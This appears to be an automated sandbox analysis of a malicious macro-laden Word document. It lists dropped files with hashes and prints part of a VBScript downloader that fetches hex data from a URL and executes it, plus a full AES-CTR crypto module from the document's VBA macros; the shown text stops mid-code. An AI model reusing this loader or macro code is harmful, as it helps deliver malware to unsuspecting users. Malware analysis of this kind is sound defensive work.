SHA-256:	AB11020101B19A9BA7710DF99777D97D2FC8A5AB2157F92DB5B04EB02E5D4D56
SHA-512:	F45CC1EFC53D252FD69B3E9FF4EA73C6712FE0784F2E3A5EADED2A14B6AEF4F9BB6641966C0D5ED3131CD80223FA32581F12270A293D76FA131A9901687C42DC
Malicious:	true
Preview:	......................>.......................(...........*...............'...F..................................................................................................................................................................................................................................................................................................................................................................................................................................................Q.. ....................0.....bjbj0.0...........................R.eiR.ei..................................................................................F.......F...............................................................................................................t...........................................................................\.......\.......\.......\.......\.......\...$...O...........<.........................................................................

C:\Users\user\Desktop\~$aTo6P18Z.doc

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.7688280623953037
Encrypted:	false
SSDEEP:	3:qkD/dgGdDtUIF/ddlflloHfE1kn8P:q2TwIEwP
MD5:	45F785155A3EAC1600EB00967BB87282
SHA1:	ACF773E388454E06F526A1CE708E9C0C7656E2FA
SHA-256:	2938D7BFC9EB820A908C973551C413AD10E2064A71C606C46A06A8ABC5FDFEF4
SHA-512:	EBC50B718314D4481DEBDCCED7CF2B4C5CB16D28F00E7CE68A261FE320D80ED26A9BEB1856A7C13D7A757A1DC93F0B645689237CD990D0A83BC2CBDF2F30AFA0
Malicious:	false
Preview:	.user...................................................t.i.n.a...8.$...W.....1.......xM...a.j.............................................~...!X.}.Ij......W..=.j

C:\Users\user\Desktop\~WRD0000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: ADMIN, Template: Normal, Last Saved By: user, Revision Number: 32, Name of Creating Application: Microsoft Office Word, Total Editing Time: 29:00, Create Time/Date: Mon Dec 16 03:28:00 2024, Last Saved Time/Date: Tue Jan 14 14:45:00 2025, Number of Pages: 1, Number of Words: 3, Number of Characters: 21, Security: 0
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	4.928235782766781
Encrypted:	false
SSDEEP:	3072:iGF+FLnVqP/StD2kRBHDnD4qokPUqD6Dq8UvRJOyexZK:BAXAq8UviZK
MD5:	59E01D9FF216D631335104A7C40F0D4E
SHA1:	22DFD34A2159E7DE44A22A069702FEEFE884FD8E
SHA-256:	AB11020101B19A9BA7710DF99777D97D2FC8A5AB2157F92DB5B04EB02E5D4D56
SHA-512:	F45CC1EFC53D252FD69B3E9FF4EA73C6712FE0784F2E3A5EADED2A14B6AEF4F9BB6641966C0D5ED3131CD80223FA32581F12270A293D76FA131A9901687C42DC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	......................>.......................(...........*...............'...F..................................................................................................................................................................................................................................................................................................................................................................................................................................................Q.. ....................0.....bjbj0.0...........................R.eiR.ei..................................................................................F.......F...............................................................................................................t...........................................................................\.......\.......\.......\.......\.......\...$...O...........<.........................................................................

C:\Users\user\Desktop\~WRD0000.tmp:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Documents\WindowServices.vbs

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2501
Entropy (8bit):	5.020222323449452
Encrypted:	false
SSDEEP:	48:7ATWCvMRrEbJ30Ubwa4nqS4YI0Mp3+yaFWjW2OwLCx/nMDKHxQS:7ATWCLJFbunqzx0MQyOKW2O+g/nMDKHb
MD5:	D2E302C91AF3A9659A3D83138C7A7730
SHA1:	AA414DA697FE383233787170F5602544A056D3BC
SHA-256:	AAB8903BFD0FAF05E2168C7AFFF5F3084BC04DEF3C8C4B12CB47E2E74F684C06
SHA-512:	F8FE7A25F7B7F5A23D4CF69168F53DE0B2FA0CF99CDCF6850F8564F4FDDA96265E9C3B33F6A1EAB80E2F0E32BB9A06EBD6FB3DC4894350C978853B7126EDE513
Malicious:	true
Preview:	Option Explicit..On Error Resume Next ' B? qua c.c th.ng b.o l?i....' Chuy?n d?i chu?i hex sang d?ng nh? ph.n..Function HexToBinary(hexString).. Dim i.. Dim length.. Dim byteArray().... length = Len(hexString) \ 2.. ReDim byteArray(length - 1).... For i = 0 To length - 1.. byteArray(i) = CByte("&H" & Mid(hexString, i * 2 + 1, 2)).. Next.... HexToBinary = byteArray..End Function....' T?i d? li?u t? URL..Function GetDataFromURL(url).. Dim http.. Set http = CreateObject("MSXML2.XMLHTTP").. http.Open "GET", url, False.. http.Send.... If http.Status = 200 Then.. GetDataFromURL = http.responseText.. Else.. GetDataFromURL = "" .. End If.. Set http = Nothing..End Function....' Gi?i m. v. ch?y l?nh t? chu?i nh? ph.n..Sub ExecuteDecryptedCode().. Dim EncodedBinary.. Dim binaryData.. Dim SavePath.. Dim fileNum.. Dim objFSO.. Dim objFile.. Dim i.... ' L?y chu?i nh? ph.n t? trang web.. EncodedBinary = Ge

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: ADMIN, Template: Normal.dotm, Last Saved By: ADMIN, Revision Number: 31, Name of Creating Application: Microsoft Office Word, Total Editing Time: 27:00, Create Time/Date: Sun Dec 15 15:28:00 2024, Last Saved Time/Date: Sun Dec 15 16:33:00 2024, Number of Pages: 1, Number of Words: 3, Number of Characters: 18, Security: 0
Entropy (8bit):	4.938913929090626
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	1KaTo6P18Z.doc
File size:	98'816 bytes
MD5:	f8b594e0b1d7a56093034e74d9374f6a
SHA1:	f42044adff61da67c1f7436625a4d7a86c1f6e33
SHA256:	1ae98e28ff5e890d00429031f5369692389256290dd4e5867f822db51cdc8027
SHA512:	715a58a9e028f6bf401406462e46964248674e0e62688f14ec57b13141b818c3161337a65723d8991f9fcc6c8c7324bcae253c94d1db0bb4728d1d73140ae11f
SSDEEP:	3072:3CJx1U8LnkqP/StD2kRBHDnD4qokPUqD61q8Uv2hPJOy:SJ7oWq8Uv2h
TLSH:	5BA3F695F642C82ADBC814715C9BD3FEB6787D06AD48D71732A0731E3CB67A4C605784
File Content Preview:	........................>.......................'...........)...............&...u..............................................................................................................................................................................

File Icon


Icon Hash:	35e1cc889a8a8599

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "1KaTo6P18Z.doc"

Indicators

Has Summary Info:
Application Name:	Microsoft Office Word
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Title:
Subject:
Author:	ADMIN
Keywords:
Comments:
Template:	Normal.dotm
Last Saved By:	ADMIN
Revion Number:	31
Total Edit Time:	1620
Create Time:	2024-12-15 15:28:00
Last Saved Time:	2024-12-15 16:33:00
Number of Pages:	1
Number of Words:	3
Number of Characters:	18
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Document Code Page:	1252
Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 689

General
Stream Path:	Macros/VBA/Module1
VBA File Name:	Module1.bas
Stream Size:	689
Data ASCII:	. . . . . . . . * . . . . . . . . . 1 . . . . . . . . . . . . . . A - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 01 f0 00 00 00 2a 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 31 02 00 00 85 02 00 00 00 00 00 00 01 00 00 00 96 41 2d ce 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Module1"

VBA File Name: Module11.bas, Stream Size: 1059

General
Stream Path:	Macros/VBA/Module11
VBA File Name:	Module11.bas
Stream Size:	1059
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . h . . . ` . . . . . . . . . P . . . . . . . . . 8 . . . . . . . . .
Data Raw:	01 16 03 00 01 f0 00 00 00 92 03 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 99 03 00 00 f5 03 00 00 00 00 00 00 01 00 00 00 96 41 a5 a5 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Module11"

VBA File Name: Module3.bas, Stream Size: 45138

General
Stream Path:	Macros/VBA/Module3
VBA File Name:	Module3.bas
Stream Size:	45138
Data ASCII:	. . . . . h . . . r 7 . . L . . . ( . . . 7 . . . . . . . . . . . . . A 0 . . . . . . . . . . . . . D . . . . . H . . c . R . e . g . . . . . . . . . . . . . . . . . R t l M o v e M e m o r y . . . . . N . P . . . . . . . . . . . . . . . . . . . . . . . . . . . V a r P t r . . . . T . x . . . 0 . . . . . . . . . . . . . . . . . . . . . . . h t o n l . . . . . \\ . . . . X . . . . . . . . . . . . . . . . . . . . . . . S y s t e m F u n c t i o n 0 3 6 . . . . . h . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 01 68 05 00 00 72 37 00 00 4c 05 00 00 28 06 00 00 ff ff ff ff a4 37 00 00 dc 88 00 00 00 00 00 00 01 00 00 00 96 41 f5 30 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 44 04 00 00 00 00 48 02 20 00 63 00 ff ff 52 00 65 00 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 74 6c 4d 6f 76 65 4d 65 6d 6f 72 79 00 00 00 00 00 4e 02 50 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Module3"
'--- mdAesCtr.bas
Option Explicit
DefObj A-Z

#Const HasPtrSafe = (VBA7 <> 0) Or (TWINBASIC <> 0)

'=========================================================================
' API
'=========================================================================

#If Win64 Then
    Private Const PTR_SIZE                  As Long = 8
#Else
    Private Const PTR_SIZE                  As Long = 4
#End If

#If HasPtrSafe Then
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, lpvSource As Any, ByVal cbCopy As LongPtr)
Private Declare PtrSafe Function ArrPtr Lib "vbe7" Alias "VarPtr" (Ptr() As Any) As LongPtr
Private Declare PtrSafe Function htonl Lib "ws2_32" (ByVal hostlong As Long) As Long
Private Declare PtrSafe Function RtlGenRandom Lib "advapi32" Alias "SystemFunction036" (RandomBuffer As Any, ByVal RandomBufferLength As Long) As Long
'--- bcrypt
Private Declare PtrSafe Function BCryptOpenAlgorithmProvider Lib "bcrypt" (phAlgorithm As LongPtr, ByVal pszAlgId As LongPtr, ByVal pszImplementation As LongPtr, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptCloseAlgorithmProvider Lib "bcrypt" (ByVal hAlgorithm As LongPtr, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptGetProperty Lib "bcrypt" (ByVal hObject As LongPtr, ByVal pszProperty As LongPtr, pbOutput As Any, ByVal cbOutput As Long, cbResult As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptSetProperty Lib "bcrypt" (ByVal hObject As LongPtr, ByVal pszProperty As LongPtr, ByVal pbInput As LongPtr, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptGenerateSymmetricKey Lib "bcrypt" (ByVal hAlgorithm As LongPtr, phKey As LongPtr, pbKeyObject As Any, ByVal cbKeyObject As Long, pbSecret As Any, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptDestroyKey Lib "bcrypt" (ByVal hKey As LongPtr) As Long
Private Declare PtrSafe Function BCryptEncrypt Lib "bcrypt" (ByVal hKey As LongPtr, pbInput As Any, ByVal cbInput As Long, ByVal pPaddingInfo As LongPtr, ByVal pbIV As LongPtr, ByVal cbIV As Long, pbOutput As Any, ByVal cbOutput As Long, pcbResult As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptDeriveKeyPBKDF2 Lib "bcrypt" (ByVal hPrf As LongPtr, pbPassword As Any, ByVal cbPassword As Long, pbSalt As Any, ByVal cbSalt As Long, ByVal cIterations As Currency, pbDerivedKey As Any, ByVal cbDerivedKey As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptCreateHash Lib "bcrypt" (ByVal hAlgorithm As LongPtr, phHash As LongPtr, ByVal pbHashObject As LongPtr, ByVal cbHashObject As Long, pbSecret As Any, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptDestroyHash Lib "bcrypt" (ByVal hHash As LongPtr) As Long
Private Declare PtrSafe Function BCryptHashData Lib "bcrypt" (ByVal hHash As LongPtr, pbInput As Any, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptFinishHash Lib "bcrypt" (ByVal hHash As LongPtr, pbOutput As Any, ByVal cbOutput As Long, ByVal dwFlags As Long) As Long
#Else
Private Enum LongPtr
    [_]
End Enum
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, lpvSource As Any, ByVal cbCopy As LongPtr)
Private Declare Function ArrPtr Lib "msvbvm60" Alias "VarPtr" (Ptr() As Any) As LongPtr
Private Declare Function htonl Lib "ws2_32" (ByVal hostlong As Long) As Long
Private Declare Function RtlGenRandom Lib "advapi32" Alias "SystemFunction036" (RandomBuffer As Any, ByVal RandomBufferLength As Long) As Long
'--- bcrypt
Private Declare Function BCryptOpenAlgorithmProvider Lib "bcrypt" (phAlgorithm As LongPtr, ByVal pszAlgId As LongPtr, ByVal pszImplementation As LongPtr, ByVal dwFlags As Long) As Long
Private Declare Function BCryptCloseAlgorithmProvider Lib "bcrypt" (ByVal hAlgorithm As LongPtr, ByVal dwFlags As Long) As Long
Private Declare Function BCryptGetProperty Lib "bcrypt" (ByVal hObject As LongPtr, ByVal pszProperty As LongPtr, pbOutput As Any, ByVal cbOutput As Long, cbResult As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptSetProperty Lib "bcrypt" (ByVal hObject As LongPtr, ByVal pszProperty As LongPtr, ByVal pbInput As LongPtr, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptGenerateSymmetricKey Lib "bcrypt" (ByVal hAlgorithm As LongPtr, phKey As LongPtr, pbKeyObject As Any, ByVal cbKeyObject As Long, pbSecret As Any, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDestroyKey Lib "bcrypt" (ByVal hKey As LongPtr) As Long
Private Declare Function BCryptEncrypt Lib "bcrypt" (ByVal hKey As LongPtr, pbInput As Any, ByVal cbInput As Long, ByVal pPaddingInfo As LongPtr, ByVal pbIV As LongPtr, ByVal cbIV As Long, pbOutput As Any, ByVal cbOutput As Long, pcbResult As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDeriveKeyPBKDF2 Lib "bcrypt" (ByVal hPrf As LongPtr, pbPassword As Any, ByVal cbPassword As Long, pbSalt As Any, ByVal cbSalt As Long, ByVal cIterations As Currency, pbDerivedKey As Any, ByVal cbDerivedKey As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptCreateHash Lib "bcrypt" (ByVal hAlgorithm As LongPtr, phHash As LongPtr, ByVal pbHashObject As LongPtr, ByVal cbHashObject As Long, pbSecret As Any, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDestroyHash Lib "bcrypt" (ByVal hHash As LongPtr) As Long
Private Declare Function BCryptHashData Lib "bcrypt" (ByVal hHash As LongPtr, pbInput As Any, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptFinishHash Lib "bcrypt" (ByVal hHash As LongPtr, pbOutput As Any, ByVal cbOutput As Long, ByVal dwFlags As Long) As Long
#End If
#If Not ImplUseShared Then
    #If HasPtrSafe Then
    Private Declare PtrSafe Function CryptStringToBinary Lib "crypt32" Alias "CryptStringToBinaryW" (ByVal pszString As LongPtr, ByVal cchString As Long, ByVal dwFlags As Long, ByVal pbBinary As LongPtr, pcbBinary As Long, pdwSkip As Long, pdwFlags As Long) As Long
    Private Declare PtrSafe Function CryptBinaryToString Lib "crypt32" Alias "CryptBinaryToStringW" (ByVal pbBinary As LongPtr, ByVal cbBinary As Long, ByVal dwFlags As Long, ByVal pszString As LongPtr, pcchString As Long) As Long
    Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As Long
    Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long) As Long
    Private Declare PtrSafe Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As LongPtr, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Args As LongPtr) As Long
    #Else
    Private Declare Function CryptStringToBinary Lib "crypt32" Alias "CryptStringToBinaryW" (ByVal pszString As LongPtr, ByVal cchString As Long, ByVal dwFlags As Long, ByVal pbBinary As LongPtr, pcbBinary As Long, pdwSkip As Long, pdwFlags As Long) As Long
    Private Declare Function CryptBinaryToString Lib "crypt32" Alias "CryptBinaryToStringW" (ByVal pbBinary As LongPtr, ByVal cbBinary As Long, ByVal dwFlags As Long, ByVal pszString As LongPtr, pcchString As Long) As Long
    Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As Long
    Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long) As Long
    Private Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As LongPtr, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Args As LongPtr) As Long
    #End If
#End If

'=========================================================================
' Constants and member variables
'=========================================================================

Private Const AES_BLOCK_SIZE        As Long = 16
Private Const AES_KEYLEN            As Long = 32                    '-- 32 -> AES-256, 24 -> AES-196, 16 -> AES-128
Private Const AES_IVLEN             As Long = AES_BLOCK_SIZE
Private Const KDF_SALTLEN           As Long = 8
Private Const KDF_ITER              As Long = 10000
Private Const KDF_HASH              As String = "SHA512"
Private Const HMAC_HASH             As String = "SHA256"
Private Const OPENSSL_MAGIC         As String = "Salted__"          '-- for openssl compatibility
Private Const OPENSSL_MAGICLEN      As Long = 8
Private Const ERR_UNSUPPORTED_ENCR  As String = "Unsupported encryption"
Private Const ERR_CHUNKED_NOT_INIT  As String = "AES chunked context not initialized"

Private Type UcsCryptoContextType
    hPbkdf2Alg          As LongPtr
    hHmacAlg            As LongPtr
    hHmacHash           As LongPtr
    HashLen             As Long
    hAesAlg             As LongPtr
    hAesKey             As LongPtr
    AesKeyObjData()     As Byte
    AesKeyObjLen        As Long
    Nonce(0 To 3)       As Long
    EncrData()          As Byte
    EncrPos             As Long
    LastError           As String
End Type

Private m_uChunkedCtx           As UcsCryptoContextType

'=========================================================================
' Functions
'=========================================================================

'--- equivalent to `openssl aes-256-ctr -pbkdf2 -md sha512 -pass pass:{Password} -in {sText}.file -a`
Public Function AesEncryptString(sText As String, Optional Password As Variant) As String
    Const PREFIXLEN     As Long = OPENSSL_MAGICLEN + KDF_SALTLEN
    Dim baData()        As Byte
    Dim baPass()        As Byte
    Dim baSalt()        As Byte
    Dim baKey()         As Byte
    Dim sError          As String
    
    baData = ToUtf8Array(sText)
    baPass = vbNullString
    baSalt = vbNullString
    If Not IsArray(Password) Then
        If Not IsMissing(Password) Then
            baPass = ToUtf8Array(Password & vbNullString)
        End If
        ReDim baSalt(0 To KDF_SALTLEN - 1) As Byte
        Call RtlGenRandom(baSalt(0), KDF_SALTLEN)
    Else
        baKey = Password
    End If
    If Not AesCryptArray(baData, baPass, baSalt, baKey, Error:=sError) Then
        Err.Raise vbObjectError, , sError
    End If
    If Not IsArray(Password) Then
        ReDim Preserve baData(0 To UBound(baData) + PREFIXLEN) As Byte
        If UBound(baData) >= PREFIXLEN Then
            Call CopyMemory(baData(PREFIXLEN), baData(0), UBound(baData) + 1 - PREFIXLEN)
        End If
        Call CopyMemory(baData(OPENSSL_MAGICLEN), baSalt(0), KDF_SALTLEN)
        Call CopyMemory(baData(0), ByVal OPENSSL_MAGIC, OPENSSL_MAGICLEN)
    End If
    AesEncryptString = Replace(ToBase64Array(baData), vbCrLf, vbNullString)
End Function

'--- equivalent to `openssl aes-256-ctr -pbkdf2 -md sha512 -pass pass:{Password} -in {sEncr}.file -a -d`
Public Function AesDecryptString(sEncr As String, Optional Password As Variant) As String
    Const PREFIXLEN     As Long = OPENSSL_MAGICLEN + KDF_SALTLEN
    Dim baData()        As Byte
    Dim baPass()        As Byte
    Dim baSalt()        As Byte
    Dim baKey()         As Byte
    Dim sMagic          As String
    Dim sError          As String
    
    baData = FromBase64Array(sEncr)
    baPass = vbNullString
    baSalt = vbNullString
    If Not IsArray(Password) Then
        If Not IsMissing(Password) Then
            baPass = ToUtf8Array(Password & vbNullString)
        End If
        If UBound(baData) >= PREFIXLEN - 1 Then
            sMagic = String$(OPENSSL_MAGICLEN, 0)
            Call CopyMemory(ByVal sMagic, baData(0), OPENSSL_MAGICLEN)
            If sMagic = OPENSSL_MAGIC Then
                ReDim baSalt(0 To KDF_SALTLEN - 1) As Byte
                Call CopyMemory(baSalt(0), baData(OPENSSL_MAGICLEN), KDF_SALTLEN)
                If UBound(baData) >= PREFIXLEN Then
                    Call CopyMemory(baData(0), baData(PREFIXLEN), UBound(baData) + 1 - PREFIXLEN)
                    ReDim Preserve baData(0 To UBound(baData) - PREFIXLEN) As Byte
                Else
                    baData = vbNullString
                End If
            End If
        End If
    Else
        baKey = Password
    End If
    If Not AesCryptArray(baData, baPass, baSalt, baKey, Error:=sError) Then
        Err.Raise vbObjectError, , sError
    End If
    AesDecryptString = FromUtf8Array(baData)
End Function

Public Function AesCryptArray(             baData() As Byte,             Optional Password As Variant,             Optional Salt As Variant,             Optional key As Variant,             Optional ByVal KeyLen As Long,             Optional Error As String,             Optional Hmac As Variant) As Boolean
    Const VT_BYREF      As Long = &H4000
    Dim uCtx            As UcsCryptoContextType
    Dim vErr            As Variant
    Dim bHashBefore     As Boolean
    Dim bHashAfter      As Boolean
    Dim baPass()        As Byte
    Dim baSalt()        As Byte
    Dim baKey()         As Byte
    Dim baTemp()        As Byte
    Dim lPtr            As LongPtr
    
    On Error GoTo EH
    If IsArray(Hmac) Then
        bHashBefore = (Hmac(0) <= 0)
        bHashAfter = (Hmac(0) > 0)
    End If
    If IsMissing(Password) Then
        baPass = vbNullString
    ElseIf IsArray(Password) Then
        baPass = Password
    Else
        baPass = ToUtf8Array(Password & vbNullString)
    End If
    If IsMissing(Salt) Then
        baSalt = baPass
    ElseIf IsArray(Salt) Then
        baSalt = Salt
    Else
        baSalt = ToUtf8Array(Salt & vbNullString)
    End If
    If IsArray(key) Then
        baKey = key
    End If
    If KeyLen <= 0 Then
        KeyLen = AES_KEYLEN
    End If
    If Not pvCryptoAesCtrInit(uCtx, baPass, baSalt, baKey, KeyLen) Then
        Error = uCtx.LastError
        GoTo QH
    End If
    If Not pvCryptoAesCtrCrypt(uCtx, baData, HashBefore:=bHashBefore, HashAfter:=bHashAfter) Then
        Error = uCtx.LastError
        GoTo QH
    End If
    If IsArray(Hmac) Then
        baTemp = pvCryptoGetFinalHash(uCtx, UBound(Hmac) + 1)
        #If Win64 Then
            lPtr = PeekPtr(VarPtr(Hmac) + 8)
        #Else
            lPtr = PeekPtr((VarPtr(Hmac) Xor &H80000000) + 8 Xor &H80000000)
        #End If
        If (PeekPtr(VarPtr(Hmac)) And VT_BYREF) <> 0 Then
            lPtr = PeekPtr(lPtr)
        End If
        #If Win64 Then
            lPtr = PeekPtr(lPtr + 16)
        #Else
            lPtr = PeekPtr((lPtr Xor &H80000000) + 12 Xor &H80000000)
        #End If
        Call CopyMemory(ByVal lPtr, baTemp(0), UBound(baTemp) + 1)
    End If
    '--- success
    AesCryptArray = True
QH:
    pvCryptoAesCtrTerminate uCtx
    Exit Function
EH:
    vErr = Array(Err.Number, Err.Source, Err.Description)
    pvCryptoAesCtrTerminate uCtx
    Err.Raise vErr(0), vErr(1), vErr(2)
End Function

Public Function AesChunkedInit(Optional key As Variant, Optional ByVal KeyLen As Long) As Boolean
    Dim baEmpty()       As Byte
    Dim baKey()         As Byte
    
    pvCryptoAesCtrTerminate m_uChunkedCtx
    baEmpty = vbNullString
    If IsArray(key) Then
        baKey = key
    End If
    If KeyLen <= 0 Then
        KeyLen = AES_KEYLEN
    End If
    AesChunkedInit = pvCryptoAesCtrInit(m_uChunkedCtx, baEmpty, baEmpty, baKey, KeyLen)
End Function

Public Function AesChunkedCryptArray(baInput() As Byte, baOutput() As Byte, Optional ByVal Final As Boolean = True) As Boolean
    If m_uChunkedCtx.hAesAlg = 0 Then
        m_uChunkedCtx.LastError = ERR_CHUNKED_NOT_INIT
        Exit Function
    End If
    baOutput = baInput
    AesChunkedCryptArray = pvCryptoAesCtrCrypt(m_uChunkedCtx, baOutput)
    If Final Then
        pvCryptoAesCtrTerminate m_uChunkedCtx
    End If
End Function

Public Function AesChunkedGetLastError() As String
    AesChunkedGetLastError = m_uChunkedCtx.LastError
End Function

'= private ===============================================================

Private Function pvCryptoAesCtrInit(uCtx As UcsCryptoContextType, baPass() As Byte, baSalt() As Byte, baDerivedKey() As Byte, ByVal lKeyLen As Long) As Boolean
    Const MS_PRIMITIVE_PROVIDER         As String = "Microsoft Primitive Provider"
    Const BCRYPT_ALG_HANDLE_HMAC_FLAG   As Long = 8
    Dim hResult         As Long
    
    With uCtx
        '--- init member vars
        .EncrData = vbNullString
        .EncrPos = 0
        .LastError = vbNullString
        ReDim Preserve baDerivedKey(0 To lKeyLen + AES_IVLEN - 1) As Byte
        If UBound(baPass) >= 0 Or UBound(baSalt) >= 0 Then
            '--- generate RFC 2898 based derived key
            On Error GoTo EH_Unsupported '--- PBKDF2 API missing on Vista
            hResult = BCryptOpenAlgorithmProvider(.hPbkdf2Alg, StrPtr(KDF_HASH), StrPtr(MS_PRIMITIVE_PROVIDER), BCRYPT_ALG_HANDLE_HMAC_FLAG)
            If hResult < 0 Then
                GoTo QH
            End If
            hResult = BCryptDeriveKeyPBKDF2(.hPbkdf2Alg, ByVal pvArrayPtr(baPass), pvArraySize(baPass), ByVal pvArrayPtr(baSalt), pvArraySize(baSalt),                     KDF_ITER / 10000@, baDerivedKey(0), UBound(baDerivedKey) + 1, 0)
            If hResult < 0 Then
                GoTo QH
            End If
            On Error GoTo 0
        End If
        '--- init AES key from first half of derived key
        On Error GoTo EH_Unsupported '--- CNG API missing on XP
